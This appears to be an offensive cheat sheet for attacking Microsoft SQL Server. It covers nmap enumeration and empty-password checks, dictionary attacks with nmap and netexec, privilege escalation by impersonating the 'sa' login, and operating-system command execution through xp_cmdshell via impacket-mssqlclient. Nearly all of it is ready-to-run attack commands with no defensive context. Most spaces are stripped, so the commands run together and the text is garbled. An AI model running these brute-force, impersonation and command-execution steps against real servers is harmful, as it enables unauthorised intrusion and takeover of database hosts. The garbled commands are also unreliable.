nmap--scriptms-sql-info-p143310.10.10.1nmap-p1433--scriptms-sql-ntlm-info--script-argsmssql.instance-port=143310.10.10.1# enumerate user with empty passwordnmap-p1433--scriptms-sql-empty-password10.10.10.1
Dictionary Attack
# nmapnmap-p1433--scriptms-sql-brute--script-argsuserdb=/opt/common_users.txt,passdb=/opt/unix_passwords.txt10.10.10.1# netexecnetexecmssql10.10.10.1-u/opt/common_users.txt-p/opt/unix_passwords.txt--local-auth--continue-on-success|grep-v"Login failed for user"
# Find users you can impersonateSELECTdistinctb.nameFROMsys.server_permissionsaINNERJOINsys.server_principalsbONa.grantor_principal_id=b.principal_idWHEREa.permission_name='IMPERSONATE'# Check if the user "sa" or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECTSYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')
Impacket-MSSQLClient
impacket-mssqlclientadmin:p@ssw0rd@10.10.10.1# check if we have 'sa' privilegeselect IS_SRVROLEMEMBER ('sysadmin')# execute command using xp_cmdshellxp_cmdshell"whoami /priv"
Get-SQLQuery-Instance'WEB06\SQLEXPRESS'-query"SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"